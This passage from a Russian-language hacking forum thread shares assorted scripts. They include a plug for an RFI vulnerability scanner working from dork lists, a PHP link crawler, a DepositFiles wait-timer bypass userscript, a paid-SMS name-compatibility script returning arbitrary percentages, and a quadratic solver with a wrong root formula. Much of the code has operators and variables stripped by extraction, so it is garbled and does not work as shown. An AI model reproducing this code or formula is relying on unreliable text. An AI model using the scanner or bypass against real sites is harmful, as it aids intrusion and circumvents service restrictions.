    DorkScan v1.0 - Python RFI Scanner

    DorkScan v1.0 это не большой и быстрый drok сканнер на python.
    Сканирует сайт по списку дороков на предмет уязвимостей RFI
    тестировался на Debian, Работает прекрасно.

    http://zerolab.ru/news/dorkscan-v10-python-rfi-scanner.html#more-29
     
  15. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
  16. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Вобщем уже писал скрипт, который получает все ссылки с сайта, но он не всё получал, что надо.

    Вот исправленная версия
    Code:
    <?php
    	$site = 'http://localhost/';
    	$mode = 2; // 1 = Использовать функцию file_get_contents, 2 = Использовать сокеты
    	foreach(get_urls($site) as $url) {
    		echo '<a href="'.$url.'">'.$url.'</a><br>'."\n";
    	}
    	@set_time_limit(0);
    	@ini_set('max_execution_time', 0);
    	function get($action) {
    		$url = parse_url($action); 
    		$fp = fsockopen($url['host'], 80, $errno, $errstr, 30); 
    		if(!$fp) {
    			return false;
    		} else {
    			fputs($fp, 'GET '.$action.' HTTP/1.0'."\r\n".
    			'Host: '.$url['host']."\r\n".
    			'Referer: '.$url['scheme'].'://'.$url['host'].$url['path']."\r\n\r\n");
    			$result = '';
    			while(!feof($fp)) {
    				$result .= fgets($fp, 128);
    			}
    			fclose($fp);
    			return $result;
    		}
    	}
    	function my_sort($array) {
    		$new_array = array();
    		foreach($array as $value) {
    			$new_array[] = $value;
    		}
    		return $new_array;
    	}
    	function JoinToSite($url, $site) {
    		$domain = parse_url($site);
    		$domain = $domain['scheme'].'://'.$domain['host'];
    		if($url{0} == '/') {
    			$link = $domain.$url;
    		} else if(preg_match('~^http(s)?:~i', $url)) {
    			if(parse_url($url, PHP_URL_HOST) == parse_url($site, PHP_URL_HOST)) {
    				$link = $url;
    			}
    		} else {
    			if(!preg_match('~^(ftp(s)?|javascript|mailto):~i', $url)) {
    				$dirname = '';
    				$explode = explode('/', parse_url($site, PHP_URL_PATH));
    				foreach($explode as $i => $dir) {
    					if($dir && $i != (count($explode)-1)) {
    						$dirname .= $dir.'/';
    					}
    				}
    				$link = $domain.'/'.$dirname.preg_replace('~(\A|/)\./~', '$1', $url);
    				$regex = '~/(?!\.\./)[^\x2F]+/\.\./~';
    				while(preg_match($regex, $link)) {
    					$link = preg_replace($regex, '/', $link);
    				}
    			}
    		}
    		return (isset($link) ? $link : false);
    	}
    	function GetAllUrlsFromUrl($url, $all_links) {
    		global $mode;
    		$first = (($mode == 1) ? @file_get_contents($url) : get($url));
    		preg_match_all('~<a[^>]+href[\x20]?=[\x20\x22\x27]?([^\x20\x22\x27\x3E]+)[\x20\x22\x27]?[^>]*>~i',  $first, $second);
    		$array_urls = array();
    		foreach($second[1] as $link) {
    			$link = JoinToSite($link, $url);
    			if($link !== false && !in_array($link, $all_links)) {
    				$array_urls[] = $link;
    			}
    		}
    		return ((count($array_urls) > 0) ? $array_urls : false);
    	}
    	function get_urls($url) {
    		$old_links = array();
    		$new_links = array($url);
    		while(true) {
    			$url = $new_links[0];
    			$old_links[] = $url;
    			array_shift($new_links);
    			$get_urls = GetAllUrlsFromUrl($url, array_merge($old_links, $new_links));
    			if($get_urls) {
    				$new_links = array_merge($get_urls, $new_links);
    			} else {
    				if(sizeof($new_links)==0) {
    					break;
    				} else {
    					continue;
    				}
    			}
    		}
    		sort($old_links);
    		return $old_links;
    	}
    ?>
    Средний рез-тат сканирования 10 ссылок на localhost

    Code:
    С помощью file_get_contents	0.104 с.
    С помощью сокетов		0.098 с.
    Скрипт может работать медленно и долго. Используйте сокеты по мере возможности.

    Ещё раз предупреждаю! Не надо использовать этот скрипт для больших CMS, форумов и т.п.! Вы нагружаете не только сервер, на котором находится скрипт, но и сайт, который сканируете!
     
    #396 NOmeR1, 4 Aug 2008
    Last edited: 5 Aug 2008
    2 people like this.
  17. VAran

    VAran Elder - Старейшина

    Joined:
    29 May 2008
    Messages:
    51
    Likes Received:
    15
    Reputations:
    4
    недавно возникла необходимость организовать преобразование вводимого пользователем числа в текст.
    реализовал в виде класса:
    PHP:
    <?php
        
    echo '<form action="num2txt.php" method="post">';
        echo 
    '<input type="text" name="a"/'>;
        echo 
    '<input type="submit" value="->"/>';
        echo 
    '</form>';
    class 
    Num2Txt     {
        var 
    $nbr$names$x$razryad;
        function 
    __construct()
        {
            if(
    is_numeric($_POST[a]))
                
    $this->nbr $_POST[a];
            else
                echo 
    'вводить только целые числа';
            
    $this->names= array(array("","",""," десять"),array(" один","надцать"," сто"," одинадцать"),array(" два"," двадцать"," двести"," двенадцать"),array(" три"," тридцать"," триста"," тринадцать"),array(" четыре"," сорок"," четыреста"," четырнадцать"),array(" пять"," пятьдесят"," пятьсот"," пятнадцать"),array(" шесть"," шестьдесят"," шестьсот"," шестнадцать"),array(" семь"," семьдесят"," семьсот"," семнадцать"),array(" восемь"," восемьдесят"," восемьсот"," восемнадцать"),array(" девять"," девяносто"," девятьсот"," девятнадцать"));
            
    $this->str_split($this->nbr);
            
    $this->razryad = array(""," тыс. "," млн. "," млрд. "" трлн. "," квдрлн. "," квнтлн. "," скстлн. "," сптлн. "," октлн. "," ннлн. "," дцлн. ");
        }
        function 
    show_nbr()
        {    echo 
    $this->nbr."<br>";    }
        function 
    translate() {
            for(
    $i strlen($this->nbr) - $i >= $i--) 
            {
                
    $jump false;
                if(
    $this->x[strlen($this->nbr) - $i] == && $i%== 1)
                {
                    echo 
    $this->names[$this->x[strlen($this->nbr) - $i]][3];
                    echo 
    $this->razryad[($i-1)/3];
                    
    $jump true;
                }
                else
                    echo 
    $this->names[$this->x[strlen($this->nbr) - $i]][$i%3];
                if(
    $i%3==&& ($this->x[strlen($this->nbr) - $i-1] != || $this->x[strlen($this->nbr) - $i-2] != || $this->x[strlen($this->nbr) - $i-3] != 0))
                echo 
    $this->razryad[$i/3];
                if(
    $jump)
                    
    $i--;
            }
        }
    }
    $obj = new Num2Txt();
    $obj->show_nbr();
    $obj->translate();
    ?>
     
    1 person likes this.
  18. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    вроде был раньше раздел "скрипты от скуки", чот не видно его запихну сюда, скрипт вычисляет корни квадратного уравнения, пример работы тут
    http://blood-ravens.ru/function.php


    вот код :

    PHP:

    <b>Вычисление корней квадратного уравнения:</b><br><br>
    <form method="POST">
    введите значение a <input type="text" size="3" name="a" value=""><br><br>
    введите значение b <input type="text" size="3" name="b" value=""><br><br>
    введите значение c <input type="text" size="3" name="c" value=""><br><br>
    <input type="submit" value="вычислить"><br><br>
    </form>
    <?
    ##################################
    //////////writed by Korvin™///////
    ///////////08.08.2008/////////////
    ////////All right reserved////////
    ##################################



    function kvadratnoe_uravnenie($a,$b,$c)
    {
    $d = ($b*$b)-4*$a*$c;

    if ($d>0)
    {
    $x1 = (2*$a)/(-$b+sqrt($d));
    $x2 = (2*$a)/(-$b-sqrt($d));
    echo 'Уравнение имеет два корня: '.$x1.' и '.$x2;
    }
    if ($d==0)
    {
    $x = -$b/(2*$a);
    echo 'Уравнение имеет один корень: '.$x;
    }

    if ($d<0)
    {
    echo 'Вещественных корней нет.';
    }

    }
    if ($_POST['a']>0 && $_POST['b']>0 && $_POST['c']>0)
    {
    kvadratnoe_uravnenie($_POST['a'],$_POST['b'],$_POST['c']);
    }
    ?>

     
  19. Sholoman

    Sholoman Elder - Старейшина

    Joined:
    5 Mar 2008
    Messages:
    23
    Likes Received:
    2
    Reputations:
    0
    Скрипт depositfiles.com !!!!!

    И так, вот скрипт для того чтобы вы не ждали 100сек., а сразу скачивали файл с depositfiles.com

    Создаём файл depositfiles_com.js в папке Opera ( с другими не пробывал).
    Пиши в depositfiles_com.js

    PHP:
    // ==UserScript== 
    // @name        DepositFiles.com helper for Opera 8 - 9 
    // @version     1.10 
    // @date        2009-09-09 
    // @author      
    // @download    http://www.puzzleclub.ru/files/depositfiles_com.js 
    // @include     http://depositfiles.com/files/* 
    // @include     http://depositfiles.com/*/files/* 
    // ==/UserScript== 

    (function(){ 
        
    // For those who have the "Cached Images" mode. 
        
    var autoReloadCaptchaImage false

        var 
    bPlaySound true
        var 
    soundSource 'data:audio/midi;base64,TVRoZAAAAAYAAQACAPBNVHJrAAAAGwD/WAQEAhgIAP9RAwknwI8A/1EDB6EgAP8vAE1UcmsAAAAtAP8DBVN0YWZmAMANVpBNfx5IfyGATQAOSACBDpBNfxlIfx6ATQAOSAAA/y8A'
        
    // Repetition interval in milliseconds. 0 - disable repetition. 
        
    var soundRepetitionInterval 60000// 1 minute;   
        
    var soundTimerId ''
          
        
    window.opera.addEventListener('BeforeScript', function(e){ 
          if(
    e.element.text && e.element.text.indexOf('window.open(enter_popup_url') != -1)      
            
    e.preventDefault(); 
        }, 
    false); 

        var 
    refreshPage = function() 
        { 
          
    window.history.go(0); 
        }; 
          
        function 
    playSound() 
        { 
          var 
    document.createElement('IFRAME'); 
          
    f.src soundSource
          
    f.width 0
          
    f.height 0
          
    f.frameBorder 'no'
          
    f.scrolling 'no';      
          
    document.documentElement.appendChild(f); 
            
          var 
    0
          var 
    soundLoop = function() 
          {   
            var 
    soundSource '#' i
            
    f.setAttribute('src'sfalse); 
            
    i++; 
          }; 
            
          if(
    soundRepetitionInterval 0
            
    soundTimerId setInterval(soundLoopsoundRepetitionInterval); 
        }; 
          
        var 
    restoreImage = function(img){}; 
        if(
    typeof(opera.version) == 'function' && opera.version() >= 9.10
        { 
          var 
    restoreImage = function(img
          {        
            if(!
    img
              return; 
                
            var 
    refreshImg = function(id
            { 
              
    i.style.display d
            }; 
              
            if(
    img.currentStyle.display != 'none'
            { 
              var 
    display img.currentStyle.display
              
    img.style.display 'none';            
              
    setTimeout(refreshImg10imgdisplay); 
            }        
          }; 
        }    
            
        var 
    reloadImage = function(img
        { 
          var 
    document.createElement('iframe'); 
          
    f.src img.src
          
    f.width 0
          
    f.height 0
          
    f.frameBorder 'no'
          
    f.scrolling 'no'
          
    f.onload = function(){ 
            
    this.parentNode.removeChild(this);        
            
    restoreImage(img); 
          }; 
          
    document.documentElement.appendChild(f); 
        }; 
          
        var 
    onReady = function() 
        { 
          
    document.title 'DF: ready'
          if(
    bPlaySound)        
            
    playSound();        
              
          var 
    btn document.getElementById('dwn_link'); 
          if(
    btn
          {          
            
    //var timer = soundTimerId; 
            
    btn.onMouseUp clearInterval(soundTimerId); 
          } 
        }; 
          
        var 
    onLoad = function() 
        { 
          
    window.is_popup_showed true
            
          var 
    document.getElementById('gateway_form');        
          if(
    f
          {        
            
    f.submit(); 
            
    window.close(); 
          } 
          else if(
    document.getElementById('download_url')) 
          { 
            var 
    document.getElementById('download_url'); 
            if(
    d)     
              
    d.style.display ''

            
    document.getElementById('img_code_block'); 
            if(
    d
              
    d.style.display ''

            if(
    autoReloadCaptchaImage
            { 
              var 
    img d.getElementsByTagName('img');   
              if(
    img && img.length && !img[0].complete && img[0].src)    
                
    reloadImage(img[0]); 
            }          

            var 
    time 0;    
            var 
    showTime = function() 
            { 
              var 
    document.getElementById('instead_img_code_block'); 
              if(
    && d.style.display != 'none'
              { 
                
    onReady(); 
                return; 
              }          
                
              var 
    document.getElementById('download_waiter_remain'); 
              if(
    e)    
              {      
                var 
    e.innerText
                if(
    t
                { 
                  
    parseFloat(t); 
                  if(!
    isNaN(t)) 
                  { 
                    
    t.toFixed(0); 
                    if(
    != time
                    { 
                      
    time t
                      if(
    time <= 0
                      { 
                        
    onReady(); 
                        return; 
                      } 
                      else 
                        
    document.title 'DF: ' t
                    } 
                  } 
                } 
              } 

              
    setTimeout(showTime100); 
            }        
              
            
    setTimeout(showTime100); 
          } 
          else 
          { 
            var 
    document.getElementById('download_file_info_block'); 
            if(
    && d.innerText.search('From yours IP addresses already') != -1
            { 
              
    setTimeout(refreshPage60000); 
              return; 
            } 
          } 
        }; 
          
        if(
    typeof(opera.version) == 'function' && opera.version() >= 9
          
    document.addEventListener('DOMContentLoaded'onLoadfalse);    
        else 
          
    document.addEventListener('load'onLoadfalse);    
    })();
     
    #399 Sholoman, 8 Aug 2008
    Last edited by a moderator: 8 Aug 2008
    1 person likes this.
  20. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Опять меня кинули сцуке на скриптенк :(

    Скрипт для руссбилинга + процент соотношения имен

    PHP:
    <?php
        error_reporting
    (0);

        
    $smsid        = isset($_GET['smsid'])    ?    $_GET['smsid']    :    ''    ;
        
    $num        = isset($_GET['num'])    ?    $_GET['num']    :    ''    ;
        
    $operator    = isset($_GET['operator'])    ?    $_GET['operator']    :    ''    ;
        
    $userid        = isset($_GET['user_id'])    ?    $_GET['user_id']    :    ''    ;
        
    $cost        = isset($_GET['cost'])    ?    $_GET['cost']    :    ''    ;
        
    $msg        = isset($_GET['msg'])    ?    $_GET['msg']    :    ''    ;

        
    $msg    str_replace("+"''$msg);
        list(
    $function$love$name$name2) = explode(" "$msg);

        if(
    $msg)
        {
            if(
    $num == '3649' || $num == '1121')
            {
                
    $name    strtoupper($name);
                
    $name2    strtoupper($name2);
                
    $count    '0';
                
    $amount    '0';

                for (
    $i 0$i strlen($name); $i++)
                {
                    
    $letter    $name{$i};
                    if (
    $letter == 'В'$count +=6;
                    if (
    $letter == 'А'$count +=3;
                    if (
    $letter == 'И'$count +=3;
                    if (
    $letter == 'С'$count +=3;
                    if (
    $letter == 'Е'$count +=4;
                    if (
    $letter == 'К'$count +=6;
                    if (
    $letter == 'Н'$count +=4;
                    if (
    $letter == 'У'$count +=6;
                    if (
    $letter == 'Ц'$count +=4;
                    if (
    $letter == 'Ь'$count +=6;
                    if (
    $letter == 'Я'$count +=4;
                    if (
    $letter == 'C'$count +=6;
                    if (
    $letter == 'L'$count +=4;
                    if (
    $letter == 'U'$count +=6;
                    if (
    $letter == 'F'$count +=4;
                    if (
    $letter == 'O'$count +=6;
                    if (
    $letter == 'X'$count +=4;
                    if (
    $letter == 'A'$count +=3;
                    if (
    $letter == 'J'$count +=3;
                    if (
    $letter == 'S'$count +=3;
                }

                for (
    $i 0$i strlen($name2); $i++)
                {
                    
    $letter2    $name2{$i};
                    if (
    $letter2 == 'В'$count +=6;
                    if (
    $letter2 == 'А'$count +=3;
                    if (
    $letter2 == 'И'$count +=3;
                    if (
    $letter2 == 'С'$count +=3;
                    if (
    $letter2 == 'Е'$count +=4;
                    if (
    $letter2 == 'К'$count +=6;
                    if (
    $letter2 == 'Н'$count +=4;
                    if (
    $letter2 == 'У'$count +=6;
                    if (
    $letter2 == 'Ц'$count +=4;
                    if (
    $letter2 == 'Ь'$count +=6;
                    if (
    $letter2 == 'Я'$count +=4;
                    if (
    $letter2 == 'C'$count +=6;
                    if (
    $letter2 == 'L'$count +=4;
                    if (
    $letter2 == 'U'$count +=6;
                    if (
    $letter2 == 'F'$count +=4;
                    if (
    $letter2 == 'O'$count +=6;
                    if (
    $letter2 == 'X'$count +=4;
                    if (
    $letter2 == 'A'$count +=3;
                    if (
    $letter2 == 'J'$count +=3;
                    if (
    $letter2 == 'S'$count +=3;
                }

                if (
    $count 0$amount 5-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 2$amount 10-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 4$amount 15-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 6$amount 20-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 8$amount 25-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 10$amount 30-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 12$amount 40-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 14$amount 50-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 15$amount 60-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 16$amount 65-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 17$amount 70-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 18$amount 75-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 19$amount 80-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 20$amount 85-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 22$amount 90-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 24$amount 95-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 28$amount 100-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 32$amount 105-((strlen($name) + strlen($name2)) / 2);
                if (
    $count 40$amount 110-((strlen($name) + strlen($name2)) / 2);

                if (
    $amount 0$amount 0;
                if (
    $amount >100$amount 100;
                
    $message    'Процент соотношения имен '.$name.' + '.$name2.' = ' .$amount'%';
            }
            else
            {
                
    $message "Вы ошиблись номером при отправке смс";
            }

            echo 
    "smsid:".$smsid."\n";
            echo 
    "status:reply\n";
            echo 
    "content-type:text/plan\n";
            echo 
    "\n";
            echo 
    $message."\n";
        }

    ?>